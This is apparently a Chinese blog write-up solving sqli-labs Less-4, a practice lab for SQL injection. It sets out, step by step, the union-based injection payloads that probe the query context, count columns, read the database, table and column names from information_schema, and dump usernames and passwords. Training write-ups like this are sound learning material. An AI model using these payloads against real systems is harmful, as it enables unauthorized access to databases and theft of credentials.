[网络安全]sqli-labs Less-4 解题详析

判断注入类型

GET1" and "1"="1,回显如下:

GET1" and "1"="2
没有回显,说明该漏洞类型为GET型双引号字符型注入

判断注入点个数

GET1" order by 3 --+

复制代码
由上图可知,sql语法中给$id加上了()
猜测后端语句为SELECT * FROM xx where id=("$id")
故构造GET1') order by 3 --+,此时后端语句为SELECT * FROM xx where id=("1") order by 3 --+")
即SELECT * FROM xx where id=("-1") order by 3

GET1") order by 3 --+

GET1") order by 4 --+
故注入点为3

查库名

GET-1") union select 1,2,database(); --+

回显库名security

查表名

复制代码
-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'; --+

回显四个表名

查users表的列名

复制代码
-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'; --+

查字段

Payload:-1") union select 1,group_concat(username),group_concat(password) from 库名.表名; --+

实例如下:

复制代码
-1") union select 1,group_concat(username),group_concat(password) from security.users; --+
相关推荐
神梦流9 分钟前
ops-math 算子库的扩展能力:高精度与复数运算的硬件映射策略
服务器·数据库
让学习成为一种生活方式17 分钟前
trf v4.09.1 安装与使用--生信工具42-version2
数据库
啦啦啦_999927 分钟前
Redis-5-doFormatAsync()方法
数据库·redis·c#
生产队队长36 分钟前
Redis:Windows环境安装Redis,并将 Redis 进程注册为服务
数据库·redis·缓存
老邓计算机毕设37 分钟前
SSM找学互助系统52568(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面
数据库·ssm 框架·javaweb 毕业设计
痴儿哈哈40 分钟前
自动化机器学习(AutoML)库TPOT使用指南
jvm·数据库·python
ba_pi1 小时前
每天写点什么2026-02-04(2.1)信息安全
安全·web安全
Σίσυφος19001 小时前
PCL法向量估计 之 方向约束法向量(Orientation Guided Normal)
数据库
老毛肚1 小时前
手写mybatis
java·数据库·mybatis
海山数据库1 小时前
移动云大云海山数据库(He3DB)postgresql_anonymizer插件原理介绍与安装
数据库·he3db·大云海山数据库·移动云数据库